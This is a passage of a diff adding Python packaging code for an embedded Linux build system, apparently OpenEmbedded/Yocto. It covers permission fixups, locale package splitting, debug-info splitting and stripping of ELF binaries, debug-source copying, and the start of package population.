+ if dir == "":
+ continue
+ fs_perms_table[dir] = fs_perms_entry(d.expand("%s 0755 root root false - - -" % (dir)))
+
+ # Now we actually load from the configuration files
+ for conf in get_fs_perms_list(d).split():
+ if not os.path.exists(conf):
+ continue
+ with open(conf) as f:
+ for line in f:
+ if line.startswith('#'):
+ continue
+ lsplit = line.split()
+ if len(lsplit) == 0:
+ continue
+ if len(lsplit) != 8 and not (len(lsplit) == 3 and lsplit[1].lower() == "link"):
+ msg = "Fixup perms: %s invalid line: %s" % (conf, line)
+ oe.qa.handle_error("perm-line", msg, d)
+ continue
+ entry = fs_perms_entry(d.expand(line))
+ if entry and entry.path:
+ if entry.link:
+ fs_link_table[entry.path] = entry
+ if entry.path in fs_perms_table:
+ fs_perms_table.pop(entry.path)
+ else:
+ fs_perms_table[entry.path] = entry
+ if entry.path in fs_link_table:
+ fs_link_table.pop(entry.path)
+
+ # Debug -- list out in-memory table
+ #for dir in fs_perms_table:
+ # bb.note("Fixup Perms: %s: %s" % (dir, str(fs_perms_table[dir])))
+ #for link in fs_link_table:
+ # bb.note("Fixup Perms: %s: %s" % (link, str(fs_link_table[link])))
+
+ # We process links first, so we can go back and fixup directory ownership
+ # for any newly created directories
+ # Process in sorted order so /run gets created before /run/lock, etc.
+ for entry in sorted(fs_link_table.values(), key=lambda x: x.link):
+ link = entry.link
+ dir = entry.path
+ origin = dvar + dir
+ if not (cpath.exists(origin) and cpath.isdir(origin) and not cpath.islink(origin)):
+ continue
+
+ if link[0] == "/":
+ target = dvar + link
+ ptarget = link
+ else:
+ target = os.path.join(os.path.dirname(origin), link)
+ ptarget = os.path.join(os.path.dirname(dir), link)
+ if os.path.exists(target):
+ msg = "Fixup Perms: Unable to correct directory link, target already exists: %s -> %s" % (dir, ptarget)
+ oe.qa.handle_error("perm-link", msg, d)
+ continue
+
+ # Create path to move directory to, move it, and then setup the symlink
+ bb.utils.mkdirhier(os.path.dirname(target))
+ #bb.note("Fixup Perms: Rename %s -> %s" % (dir, ptarget))
+ bb.utils.rename(origin, target)
+ #bb.note("Fixup Perms: Link %s -> %s" % (dir, link))
+ os.symlink(link, origin)
+
+ for dir in fs_perms_table:
+ origin = dvar + dir
+ if not (cpath.exists(origin) and cpath.isdir(origin)):
+ continue
+
+ fix_perms(origin, fs_perms_table[dir].mode, fs_perms_table[dir].uid, fs_perms_table[dir].gid, dir)
+
+ if fs_perms_table[dir].walk == 'true':
+ for root, dirs, files in os.walk(origin):
+ for dr in dirs:
+ each_dir = os.path.join(root, dr)
+ fix_perms(each_dir, fs_perms_table[dir].mode, fs_perms_table[dir].uid, fs_perms_table[dir].gid, dir)
+ for f in files:
+ each_file = os.path.join(root, f)
+ fix_perms(each_file, fs_perms_table[dir].fmode, fs_perms_table[dir].fuid, fs_perms_table[dir].fgid, dir)
+
+# Get a list of files from file vars by searching files under current working directory
+# The list contains symlinks, directories and normal files.
+def files_from_filevars(filevars):
+ cpath = oe.cachedpath.CachedPath()
+ files = []
+ for f in filevars:
+ if os.path.isabs(f):
+ f = '.' + f
+ if not f.startswith("./"):
+ f = './' + f
+ globbed = glob.glob(f, recursive=True)
+ if globbed:
+ if [ f ] != globbed:
+ files += globbed
+ continue
+ files.append(f)
+
+ symlink_paths = []
+ for ind, f in enumerate(files):
+ # Handle directory symlinks. Truncate path to the lowest level symlink
+ parent = ''
+ for dirname in f.split('/')[:-1]:
+ parent = os.path.join(parent, dirname)
+ if dirname == '.':
+ continue
+ if cpath.islink(parent):
+ bb.warn("FILES contains file '%s' which resides under a "
+ "directory symlink. Please fix the recipe and use the "
+ "real path for the file." % f[1:])
+ symlink_paths.append(f)
+ files[ind] = parent
+ f = parent
+ break
+
+ if not cpath.islink(f):
+ if cpath.isdir(f):
+ newfiles = [ os.path.join(f,x) for x in os.listdir(f) ]
+ if newfiles:
+ files += newfiles
+
+ return files, symlink_paths
+
+# Called in package_<rpm,ipk,deb>.bbclass to get the correct list of configuration files
+def get_conffiles(pkg, d):
+ pkgdest = d.getVar('PKGDEST')
+ root = os.path.join(pkgdest, pkg)
+ cwd = os.getcwd()
+ os.chdir(root)
+
+ conffiles = d.getVar('CONFFILES:%s' % pkg);
+ if conffiles == None:
+ conffiles = d.getVar('CONFFILES')
+ if conffiles == None:
+ conffiles = ""
+ conffiles = conffiles.split()
+ conf_orig_list = files_from_filevars(conffiles)[0]
+
+ # Remove links and directories from conf_orig_list to get conf_list which only contains normal files
+ conf_list = []
+ for f in conf_orig_list:
+ if os.path.isdir(f):
+ continue
+ if os.path.islink(f):
+ continue
+ if not os.path.exists(f):
+ continue
+ conf_list.append(f)
+
+ # Remove the leading './'
+ for i in range(0, len(conf_list)):
+ conf_list[i] = conf_list[i][1:]
+
+ os.chdir(cwd)
+ return sorted(conf_list)
+
+def legitimize_package_name(s):
+ """
+ Make sure package names are legitimate strings
+ """
+
+ def fixutf(m):
+ cp = m.group(1)
+ if cp:
+ return ('\\u%s' % cp).encode('latin-1').decode('unicode_escape')
+
+ # Handle unicode codepoints encoded as <U0123>, as in glibc locale files.
+ s = re.sub(r'<U([0-9A-Fa-f]{1,4})>', fixutf, s)
+
+ # Remaining package name validity fixes
+ return s.lower().replace('_', '-').replace('@', '+').replace(',', '+').replace('/', '-')
+
+def split_locales(d):
+ cpath = oe.cachedpath.CachedPath()
+ if (d.getVar('PACKAGE_NO_LOCALE') == '1'):
+ bb.debug(1, "package requested not splitting locales")
+ return
+
+ packages = (d.getVar('PACKAGES') or "").split()
+
+ dvar = d.getVar('PKGD')
+ pn = d.getVar('LOCALEBASEPN')
+
+ try:
+ locale_index = packages.index(pn + '-locale')
+ packages.pop(locale_index)
+ except ValueError:
+ locale_index = len(packages)
+
+ localepaths = []
+ locales = set()
+ for localepath in (d.getVar('LOCALE_PATHS') or "").split():
+ localedir = dvar + localepath
+ if not cpath.isdir(localedir):
+ bb.debug(1, 'No locale files in %s' % localepath)
+ continue
+
+ localepaths.append(localepath)
+ with os.scandir(localedir) as it:
+ for entry in it:
+ if entry.is_dir():
+ locales.add(entry.name)
+
+ if len(locales) == 0:
+ bb.debug(1, "No locale files in this package")
+ return
+
+ summary = d.getVar('SUMMARY') or pn
+ description = d.getVar('DESCRIPTION') or ""
+ locale_section = d.getVar('LOCALE_SECTION')
+ mlprefix = d.getVar('MLPREFIX') or ""
+ for l in sorted(locales):
+ ln = legitimize_package_name(l)
+ pkg = pn + '-locale-' + ln
+ packages.insert(locale_index, pkg)
+ locale_index += 1
+ files = []
+ for localepath in localepaths:
+ files.append(os.path.join(localepath, l))
+ d.setVar('FILES:' + pkg, " ".join(files))
+ d.setVar('RRECOMMENDS:' + pkg, '%svirtual-locale-%s' % (mlprefix, ln))
+ d.setVar('RPROVIDES:' + pkg, '%s-locale %s%s-translation' % (pn, mlprefix, ln))
+ d.setVar('SUMMARY:' + pkg, '%s - %s translations' % (summary, l))
+ d.setVar('DESCRIPTION:' + pkg, '%s This package contains language translation files for the %s locale.' % (description, l))
+ if locale_section:
+ d.setVar('SECTION:' + pkg, locale_section)
+
+ d.setVar('PACKAGES', ' '.join(packages))
+
+ # Disabled by RP 18/06/07
+ # Wildcards aren't supported in debian
+ # They break with ipkg since glibc-locale* will mean that
+ # glibc-localedata-translit* won't install as a dependency
+ # for some other package which breaks meta-toolchain
+ # Probably breaks since virtual-locale- isn't provided anywhere
+ #rdep = (d.getVar('RDEPENDS:%s' % pn) or "").split()
+ #rdep.append('%s-locale*' % pn)
+ #d.setVar('RDEPENDS:%s' % pn, ' '.join(rdep))
+
+def package_debug_vars(d):
+ # We default to '.debug' style
+ if d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory':
+ # Single debug-file-directory style debug info
+ debug_vars = {
+ "append": ".debug",
+ "staticappend": "",
+ "dir": "",
+ "staticdir": "",
+ "libdir": "/usr/lib/debug",
+ "staticlibdir": "/usr/lib/debug-static",
+ "srcdir": "/usr/src/debug",
+ }
+ elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-without-src':
+ # Original OE-core, a.k.a. ".debug", style debug info, but without sources in /usr/src/debug
+ debug_vars = {
+ "append": "",
+ "staticappend": "",
+ "dir": "/.debug",
+ "staticdir": "/.debug-static",
+ "libdir": "",
+ "staticlibdir": "",
+ "srcdir": "",
+ }
+ elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-with-srcpkg':
+ debug_vars = {
+ "append": "",
+ "staticappend": "",
+ "dir": "/.debug",
+ "staticdir": "/.debug-static",
+ "libdir": "",
+ "staticlibdir": "",
+ "srcdir": "/usr/src/debug",
+ }
+ else:
+ # Original OE-core, a.k.a. ".debug", style debug info
+ debug_vars = {
+ "append": "",
+ "staticappend": "",
+ "dir": "/.debug",
+ "staticdir": "/.debug-static",
+ "libdir": "",
+ "staticlibdir": "",
+ "srcdir": "/usr/src/debug",
+ }
+
+ return debug_vars
+
+
+def parse_debugsources_from_dwarfsrcfiles_output(dwarfsrcfiles_output):
+ debugfiles = {}
+
+ for line in dwarfsrcfiles_output.splitlines():
+ if line.startswith("\t"):
+ debugfiles[os.path.normpath(line.split()[0])] = ""
+
+ return debugfiles.keys()
+
+def source_info(file, d, fatal=True):
+ cmd = ["dwarfsrcfiles", file]
+ try:
+ output = subprocess.check_output(cmd, universal_newlines=True, stderr=subprocess.STDOUT)
+ retval = 0
+ except subprocess.CalledProcessError as exc:
+ output = exc.output
+ retval = exc.returncode
+
+ # 255 means a specific file wasn't fully parsed to get the debug file list, which is not a fatal failure
+ if retval != 0 and retval != 255:
+ msg = "dwarfsrcfiles failed with exit code %s (cmd was %s)%s" % (retval, cmd, ":\n%s" % output if output else "")
+ if fatal:
+ bb.fatal(msg)
+ bb.note(msg)
+
+ debugsources = parse_debugsources_from_dwarfsrcfiles_output(output)
+
+ return list(debugsources)
+
+def splitdebuginfo(file, dvar, dv, d):
+ # Function to split a single file into two components, one is the stripped
+ # target system binary, the other contains any debugging information. The
+ # two files are linked to reference each other.
+ #
+ # return a mapping of files:debugsources
+
+ src = file[len(dvar):]
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(src) + dv["append"]
+ debugfile = dvar + dest
+ sources = []
+
+ if file.endswith(".ko") and file.find("/lib/modules/") != -1:
+ if oe.package.is_kernel_module_signed(file):
+ bb.debug(1, "Skip strip on signed module %s" % file)
+ return (file, sources)
+
+ # Split the file...
+ bb.utils.mkdirhier(os.path.dirname(debugfile))
+ #bb.note("Split %s -> %s" % (file, debugfile))
+ # Only store off the hard link reference if we successfully split!
+
+ dvar = d.getVar('PKGD')
+ objcopy = d.getVar("OBJCOPY")
+
+ newmode = None
+ if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
+ origmode = os.stat(file)[stat.ST_MODE]
+ newmode = origmode | stat.S_IWRITE | stat.S_IREAD
+ os.chmod(file, newmode)
+
+ # We need to extract the debug src information here...
+ if dv["srcdir"]:
+ sources = source_info(file, d)
+
+ bb.utils.mkdirhier(os.path.dirname(debugfile))
+
+ subprocess.check_output([objcopy, '--only-keep-debug', file, debugfile], stderr=subprocess.STDOUT)
+
+ # Set the debuglink to have the view of the file path on the target
+ subprocess.check_output([objcopy, '--add-gnu-debuglink', debugfile, file], stderr=subprocess.STDOUT)
+
+ if newmode:
+ os.chmod(file, origmode)
+
+ return (file, sources)
+
+def splitstaticdebuginfo(file, dvar, dv, d):
+ # Unlike the function above, there is no way to split a static library
+ # two components. So to get similar results we will copy the unmodified
+ # static library (containing the debug symbols) into a new directory.
+ # We will then strip (preserving symbols) the static library in the
+ # typical location.
+ #
+ # return a mapping of files:debugsources
+
+ src = file[len(dvar):]
+ dest = dv["staticlibdir"] + os.path.dirname(src) + dv["staticdir"] + "/" + os.path.basename(src) + dv["staticappend"]
+ debugfile = dvar + dest
+ sources = []
+
+ # Copy the file...
+ bb.utils.mkdirhier(os.path.dirname(debugfile))
+ #bb.note("Copy %s -> %s" % (file, debugfile))
+
+ dvar = d.getVar('PKGD')
+
+ newmode = None
+ if not os.access(file, os.W_OK) or os.access(file, os.R_OK):
+ origmode = os.stat(file)[stat.ST_MODE]
+ newmode = origmode | stat.S_IWRITE | stat.S_IREAD
+ os.chmod(file, newmode)
+
+ # We need to extract the debug src information here...
+ if dv["srcdir"]:
+ sources = source_info(file, d)
+
+ bb.utils.mkdirhier(os.path.dirname(debugfile))
+
+ # Copy the unmodified item to the debug directory
+ shutil.copy2(file, debugfile)
+
+ if newmode:
+ os.chmod(file, origmode)
+
+ return (file, sources)
+
+def inject_minidebuginfo(file, dvar, dv, d):
+ # Extract just the symbols from debuginfo into minidebuginfo,
+ # compress it with xz and inject it back into the binary in a .gnu_debugdata section.
+ # https://sourceware.org/gdb/onlinedocs/gdb/MiniDebugInfo.html
+
+ readelf = d.getVar('READELF')
+ nm = d.getVar('NM')
+ objcopy = d.getVar('OBJCOPY')
+
+ minidebuginfodir = d.expand('${WORKDIR}/minidebuginfo')
+
+ src = file[len(dvar):]
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(src) + dv["append"]
+ debugfile = dvar + dest
+ minidebugfile = minidebuginfodir + src + '.minidebug'
+ bb.utils.mkdirhier(os.path.dirname(minidebugfile))
+
+ # If we didn't produce debuginfo for any reason, we can't produce minidebuginfo either
+ # so skip it.
+ if not os.path.exists(debugfile):
+ bb.debug(1, 'ELF file {} has no debuginfo, skipping minidebuginfo injection'.format(file))
+ return
+
+ # minidebuginfo does not make sense to apply to ELF objects other than
+ # executables and shared libraries, skip applying the minidebuginfo
+ # generation for objects like kernel modules.
+ for line in subprocess.check_output([readelf, '-h', debugfile], universal_newlines=True).splitlines():
+ if not line.strip().startswith("Type:"):
+ continue
+ elftype = line.split(":")[1].strip()
+ if not any(elftype.startswith(i) for i in ["EXEC", "DYN"]):
+ bb.debug(1, 'ELF file {} is not executable/shared, skipping minidebuginfo injection'.format(file))
+ return
+ break
+
+ # Find non-allocated PROGBITS, NOTE, and NOBITS sections in the debuginfo.
+ # We will exclude all of these from minidebuginfo to save space.
+ remove_section_names = []
+ for line in subprocess.check_output([readelf, '-W', '-S', debugfile], universal_newlines=True).splitlines():
+ # strip the leading " [ 1]" section index to allow splitting on space
+ if ']' not in line:
+ continue
+ fields = line[line.index(']') + 1:].split()
+ if len(fields) < 7:
+ continue
+ name = fields[0]
+ type = fields[1]
+ flags = fields[6]
+ # .debug_ sections will be removed by objcopy -S so no need to explicitly remove them
+ if name.startswith('.debug_'):
+ continue
+ if 'A' not in flags and type in ['PROGBITS', 'NOTE', 'NOBITS']:
+ remove_section_names.append(name)
+
+ # List dynamic symbols in the binary. We can exclude these from minidebuginfo
+ # because they are always present in the binary.
+ dynsyms = set()
+ for line in subprocess.check_output([nm, '-D', file, '--format=posix', '--defined-only'], universal_newlines=True).splitlines():
+ dynsyms.add(line.split()[0])
+
+ # Find all function symbols from debuginfo which aren't in the dynamic symbols table.
+ # These are the ones we want to keep in minidebuginfo.
+ keep_symbols_file = minidebugfile + '.symlist'
+ found_any_symbols = False
+ with open(keep_symbols_file, 'w') as f:
+ for line in subprocess.check_output([nm, debugfile, '--format=sysv', '--defined-only'], universal_newlines=True).splitlines():
+ fields = line.split('|')
+ if len(fields) < 7:
+ continue
+ name = fields[0].strip()
+ type = fields[3].strip()
+ if type == 'FUNC' and name not in dynsyms:
+ f.write('{}\n'.format(name))
+ found_any_symbols = True
+
+ if not found_any_symbols:
+ bb.debug(1, 'ELF file {} contains no symbols, skipping minidebuginfo injection'.format(file))
+ return
+
+ bb.utils.remove(minidebugfile)
+ bb.utils.remove(minidebugfile + '.xz')
+
+ subprocess.check_call([objcopy, '-S'] +
+ ['--remove-section={}'.format(s) for s in remove_section_names] +
+ ['--keep-symbols={}'.format(keep_symbols_file), debugfile, minidebugfile])
+
+ subprocess.check_call(['xz', '--keep', minidebugfile])
+
+ subprocess.check_call([objcopy, '--add-section', '.gnu_debugdata={}.xz'.format(minidebugfile), file])
+
+def copydebugsources(debugsrcdir, sources, d):
+ # The debug src information written out to sourcefile is further processed
+ # and copied to the destination here.
+
+ cpath = oe.cachedpath.CachedPath()
+
+ if debugsrcdir and sources:
+ sourcefile = d.expand("${WORKDIR}/debugsources.list")
+ bb.utils.remove(sourcefile)
+
+ # filenames are null-separated - this is an artefact of the previous use
+ # of rpm's debugedit, which was writing them out that way, and the code elsewhere
+ # is still assuming that.
+ debuglistoutput = '\0'.join(sources) + '\0'
+ with open(sourcefile, 'a') as sf:
+ sf.write(debuglistoutput)
+
+ dvar = d.getVar('PKGD')
+ strip = d.getVar("STRIP")
+ objcopy = d.getVar("OBJCOPY")
+ workdir = d.getVar("WORKDIR")
+ sdir = d.getVar("S")
+ cflags = d.expand("${CFLAGS}")
+
+ prefixmap = {}
+ for flag in cflags.split():
+ if not flag.startswith("-fdebug-prefix-map"):
+ continue
+ if "recipe-sysroot" in flag:
+ continue
+ flag = flag.split("=")
+ prefixmap[flag[1]] = flag[2]
+
+ nosuchdir = []
+ basepath = dvar
+ for p in debugsrcdir.split("/"):
+ basepath = basepath + "/" + p
+ if not cpath.exists(basepath):
+ nosuchdir.append(basepath)
+ bb.utils.mkdirhier(basepath)
+ cpath.updatecache(basepath)
+
+ for pmap in prefixmap:
+ # Ignore files from the recipe sysroots (target and native)
+ cmd = "LC_ALL=C ; sort -z -u '%s' | egrep -v -z '((<internal>|<built-in>)$|/.*recipe-sysroot.*/)' | " % sourcefile
+ # We need to ignore files that are not actually ours
+ # we do this by only paying attention to items from this package
+ cmd += "fgrep -zw '%s' | " % prefixmap[pmap]
+ # Remove prefix in the source paths
+ cmd += "sed 's#%s/##g' | " % (prefixmap[pmap])
+ cmd += "(cd '%s' ; cpio -pd0mlL --no-preserve-owner '%s%s' 2>/dev/null)" % (pmap, dvar, prefixmap[pmap])
+
+ try:
+ subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError:
+ # Can "fail" if internal headers/transient sources are attempted
+ pass
+ # cpio seems to have a bug with -lL together and symbolic links are just copied, not dereferenced.
+ # Work around this by manually finding and copying any symbolic links that made it through.
+ cmd = "find %s%s -type l -print0 -delete | sed s#%s%s/##g | (cd '%s' ; cpio -pd0mL --no-preserve-owner '%s%s')" % \
+ (dvar, prefixmap[pmap], dvar, prefixmap[pmap], pmap, dvar, prefixmap[pmap])
+ subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
+
+ # debugsources.list may be polluted from the host if we used externalsrc,
+ # cpio uses copy-pass and may have just created a directory structure
+ # matching the one from the host, if thats the case move those files to
+ # debugsrcdir to avoid host contamination.
+ # Empty dir structure will be deleted in the next step.
+
+ # Same check as above for externalsrc
+ if workdir not in sdir:
+ if os.path.exists(dvar + debugsrcdir + sdir):
+ cmd = "mv %s%s%s/* %s%s" % (dvar, debugsrcdir, sdir, dvar,debugsrcdir)
+ subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
+
+ # The copy by cpio may have resulted in some empty directories! Remove these
+ cmd = "find %s%s -empty -type d -delete" % (dvar, debugsrcdir)
+ subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
+
+ # Also remove debugsrcdir if its empty
+ for p in nosuchdir[::-1]:
+ if os.path.exists(p) and not os.listdir(p):
+ os.rmdir(p)
+
+
+def process_split_and_strip_files(d):
+ cpath = oe.cachedpath.CachedPath()
+
+ dvar = d.getVar('PKGD')
+ pn = d.getVar('PN')
+ hostos = d.getVar('HOST_OS')
+
+ oldcwd = os.getcwd()
+ os.chdir(dvar)
+
+ dv = package_debug_vars(d)
+
+ #
+ # First lets figure out all of the files we may have to process ... do this only once!
+ #
+ elffiles = {}
+ symlinks = {}
+ staticlibs = []
+ inodes = {}
+ libdir = os.path.abspath(dvar + os.sep + d.getVar("libdir"))
+ baselibdir = os.path.abspath(dvar + os.sep + d.getVar("base_libdir"))
+ skipfiles = (d.getVar("INHIBIT_PACKAGE_STRIP_FILES") or "").split()
+ if (d.getVar('INHIBIT_PACKAGE_STRIP') != '1' or \
+ d.getVar('INHIBIT_PACKAGE_DEBUG_SPLIT') != '1'):
+ checkelf = {}
+ checkelflinks = {}
+ for root, dirs, files in cpath.walk(dvar):
+ for f in files:
+ file = os.path.join(root, f)
+
+ # Skip debug files
+ if dv["append"] and file.endswith(dv["append"]):
+ continue
+ if dv["dir"] and dv["dir"] in os.path.dirname(file[len(dvar):]):
+ continue
+
+ if file in skipfiles:
+ continue
+
+ if oe.package.is_static_lib(file):
+ staticlibs.append(file)
+ continue
+
+ try:
+ ltarget = cpath.realpath(file, dvar, False)
+ s = cpath.lstat(ltarget)
+ except OSError as e:
+ (err, strerror) = e.args
+ if err != errno.ENOENT:
+ raise
+ # Skip broken symlinks
+ continue
+ if not s:
+ continue
+ # Check its an executable
+ if (s[stat.ST_MODE] & stat.S_IXUSR) or (s[stat.ST_MODE] & stat.S_IXGRP) \
+ or (s[stat.ST_MODE] & stat.S_IXOTH) \
+ or ((file.startswith(libdir) or file.startswith(baselibdir)) \
+ and (".so" in f or ".node" in f)) \
+ or (f.startswith('vmlinux') or ".ko" in f):
+
+ if cpath.islink(file):
+ checkelflinks[file] = ltarget
+ continue
+ # Use a reference of device ID and inode number to identify files
+ file_reference = "%d_%d" % (s.st_dev, s.st_ino)
+ checkelf[file] = (file, file_reference)
+
+ results = oe.utils.multiprocess_launch(oe.package.is_elf, checkelflinks.values(), d)
+ results_map = {}
+ for (ltarget, elf_file) in results:
+ results_map[ltarget] = elf_file
+ for file in checkelflinks:
+ ltarget = checkelflinks[file]
+ # If it's a symlink, and points to an ELF file, we capture the readlink target
+ if results_map[ltarget]:
+ target = os.readlink(file)
+ #bb.note("Sym: %s (%d)" % (ltarget, results_map[ltarget]))
+ symlinks[file] = target
+
+ results = oe.utils.multiprocess_launch(oe.package.is_elf, checkelf.keys(), d)
+
+ # Sort results by file path. This ensures that the files are always
+ # processed in the same order, which is important to make sure builds
+ # are reproducible when dealing with hardlinks
+ results.sort(key=lambda x: x[0])
+
+ for (file, elf_file) in results:
+ # It's a file (or hardlink), not a link
+ # ...but is it ELF, and is it already stripped?
+ if elf_file & 1:
+ if elf_file & 2:
+ if 'already-stripped' in (d.getVar('INSANE_SKIP:' + pn) or "").split():
+ bb.note("Skipping file %s from %s for already-stripped QA test" % (file[len(dvar):], pn))
+ else:
+ msg = "File '%s' from %s was already stripped, this will prevent future debugging!" % (file[len(dvar):], pn)
+ oe.qa.handle_error("already-stripped", msg, d)
+ continue
+
+ # At this point we have an unstripped elf file. We need to:
+ # a) Make sure any file we strip is not hardlinked to anything else outside this tree
+ # b) Only strip any hardlinked file once (no races)
+ # c) Track any hardlinks between files so that we can reconstruct matching debug file hardlinks
+
+ # Use a reference of device ID and inode number to identify files
+ file_reference = checkelf[file][1]
+ if file_reference in inodes:
+ os.unlink(file)
+ os.link(inodes[file_reference][0], file)
+ inodes[file_reference].append(file)
+ else:
+ inodes[file_reference] = [file]
+ # break hardlink
+ bb.utils.break_hardlinks(file)
+ elffiles[file] = elf_file
+ # Modified the file so clear the cache
+ cpath.updatecache(file)
+
+ def strip_pkgd_prefix(f):
+ nonlocal dvar
+
+ if f.startswith(dvar):
+ return f[len(dvar):]
+
+ return f
+
+ #
+ # First lets process debug splitting
+ #
+ if (d.getVar('INHIBIT_PACKAGE_DEBUG_SPLIT') != '1'):
+ results = oe.utils.multiprocess_launch(splitdebuginfo, list(elffiles), d, extraargs=(dvar, dv, d))
+
+ if dv["srcdir"] and not hostos.startswith("mingw"):
+ if (d.getVar('PACKAGE_DEBUG_STATIC_SPLIT') == '1'):
+ results = oe.utils.multiprocess_launch(splitstaticdebuginfo, staticlibs, d, extraargs=(dvar, dv, d))
+ else:
+ for file in staticlibs:
+ results.append( (file,source_info(file, d)) )
+
+ d.setVar("PKGDEBUGSOURCES", {strip_pkgd_prefix(f): sorted(s) for f, s in results})
+
+ sources = set()
+ for r in results:
+ sources.update(r[1])
+
+ # Hardlink our debug symbols to the other hardlink copies
+ for ref in inodes:
+ if len(inodes[ref]) == 1:
+ continue
+
+ target = inodes[ref][0][len(dvar):]
+ for file in inodes[ref][1:]:
+ src = file[len(dvar):]
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(target) + dv["append"]
+ fpath = dvar + dest
+ ftarget = dvar + dv["libdir"] + os.path.dirname(target) + dv["dir"] + "/" + os.path.basename(target) + dv["append"]
+ bb.utils.mkdirhier(os.path.dirname(fpath))
+ # Only one hardlink of separated debug info file in each directory
+ if not os.access(fpath, os.R_OK):
+ #bb.note("Link %s -> %s" % (fpath, ftarget))
+ os.link(ftarget, fpath)
+
+ # Create symlinks for all cases we were able to split symbols
+ for file in symlinks:
+ src = file[len(dvar):]
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(src) + dv["append"]
+ fpath = dvar + dest
+ # Skip it if the target doesn't exist
+ try:
+ s = os.stat(fpath)
+ except OSError as e:
+ (err, strerror) = e.args
+ if err != errno.ENOENT:
+ raise
+ continue
+
+ ltarget = symlinks[file]
+ lpath = os.path.dirname(ltarget)
+ lbase = os.path.basename(ltarget)
+ ftarget = ""
+ if lpath and lpath != ".":
+ ftarget += lpath + dv["dir"] + "/"
+ ftarget += lbase + dv["append"]
+ if lpath.startswith(".."):
+ ftarget = os.path.join("..", ftarget)
+ bb.utils.mkdirhier(os.path.dirname(fpath))
+ #bb.note("Symlink %s -> %s" % (fpath, ftarget))
+ os.symlink(ftarget, fpath)
+
+ # Process the dv["srcdir"] if requested...
+ # This copies and places the referenced sources for later debugging...
+ copydebugsources(dv["srcdir"], sources, d)
+ #
+ # End of debug splitting
+ #
+
+ #
+ # Now lets go back over things and strip them
+ #
+ if (d.getVar('INHIBIT_PACKAGE_STRIP') != '1'):
+ strip = d.getVar("STRIP")
+ sfiles = []
+ for file in elffiles:
+ elf_file = int(elffiles[file])
+ #bb.note("Strip %s" % file)
+ sfiles.append((file, elf_file, strip))
+ if (d.getVar('PACKAGE_STRIP_STATIC') == '1' or d.getVar('PACKAGE_DEBUG_STATIC_SPLIT') == '1'):
+ for f in staticlibs:
+ sfiles.append((f, 16, strip))
+
+ oe.utils.multiprocess_launch(oe.package.runstrip, sfiles, d)
+
+ # Build "minidebuginfo" and reinject it back into the stripped binaries
+ if bb.utils.contains('DISTRO_FEATURES', 'minidebuginfo', True, False, d):
+ oe.utils.multiprocess_launch(inject_minidebuginfo, list(elffiles), d,
+ extraargs=(dvar, dv, d))
+
+ #
+ # End of strip
+ #
+ os.chdir(oldcwd)
+
+
+def populate_packages(d):
+ cpath = oe.cachedpath.CachedPath()
+
+ workdir = d.getVar('WORKDIR')
+ outdir = d.getVar('DEPLOY_DIR')
+ dvar = d.getVar('PKGD')
+ packages = d.getVar('PACKAGES').split()
+ pn = d.getVar('PN')
+
+ bb.utils.mkdirhier(outdir)
+ os.chdir(dvar)
+
+ autodebug = not (d.getVar("NOAUTOPACKAGEDEBUG") or False)
+
+ split_source_package = (d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-with-srcpkg')
+
+ # If debug-with-srcpkg mode is enabled then add the source package if it
+ # doesn't exist and add the source file contents to the source package.
+ if split_source_package:
+ src_package_name = ('%s-src' % d.getVar('PN'))
+ if not src_package_name in packages:
+ packages.append(src_package_name)
+ d.setVar('FILES:%s' % src_package_name, '/usr/src/debug')
+
+ # Sanity check PACKAGES for duplicates
+ # Sanity should be moved to sanity.bbclass once we have the infrastructure
+ package_dict = {}
+
+ for i, pkg in enumerate(packages):
+ if pkg in package_dict:
+ msg = "%s is listed in PACKAGES multiple times, this leads to packaging errors." % pkg
+ oe.qa.handle_error("packages-list", msg, d)
+ # Ensure the source package gets the chance to pick up the source files
+ # before the debug package by ordering it first in PACKAGES. Whether it
+ # actually picks up any source files is controlled by
+ # PACKAGE_DEBUG_SPLIT_STYLE.
+ elif pkg.endswith("-src"):
+ package_dict[pkg] = (10, i)
+ elif autodebug and pkg.endswith("-dbg"):
+ package_dict[pkg] = (30, i)
+ else:
+ package_dict[pkg] = (50, i)
+ packages = sorted(package_dict.keys(), key=package_dict.get)
+ d.setVar('PACKAGES', ' '.join(packages))
+ pkgdest = d.getVar('PKGDEST')
+
+ seen = []
+
+ # os.mkdir masks the permissions with umask so we have to unset it first
+ oldumask = os.umask(0)
+
+ debug = []
+ for root, dirs, files in cpath.walk(dvar):
+ dir = root[len(dvar):]
+ if not dir:
+ dir = os.sep
+ for f in (files + dirs):
+ path = "." + os.path.join(dir, f)
+ if "/.debug/" in path or "/.debug-static/" in path or path.endswith("/.debug"):
+ debug.append(path)
+
+ for pkg in packages:
+ root = os.path.join(pkgdest, pkg)
+ bb.utils.mkdirhier(root)
+
+ filesvar = d.getVar('FILES:%s' % pkg) or ""
+ if "//" in filesvar:
+ msg = "FILES variable for package %s contains '//' which is invalid. Attempting to fix this but you should correct the metadata.\n" % pkg
+ oe.qa.handle_error("files-invalid", msg, d)
+ filesvar.replace("//", "/")
+
+ origfiles = filesvar.split()
+ files, symlink_paths = oe.package.files_from_filevars(origfiles)
+
+ if autodebug and pkg.endswith("-dbg"):
+ files.extend(debug)
+
+ for file in files:
+ if (not cpath.islink(file)) and (not cpath.exists(file)):
+ continue
+ if file in seen:
+ continue
+ seen.append(file)
+
+ def mkdir(src, dest, p):
+ src = os.path.join(src, p)
+ dest = os.path.join(dest, p)
+ fstat = cpath.stat(src)
+ os.mkdir(dest)
+ os.chmod(dest, fstat.st_mode)
+ os.chown(dest, fstat.st_uid, fstat.st_gid)
+ if p not in seen:
+ seen.append(p)
+ cpath.updatecache(dest)
+
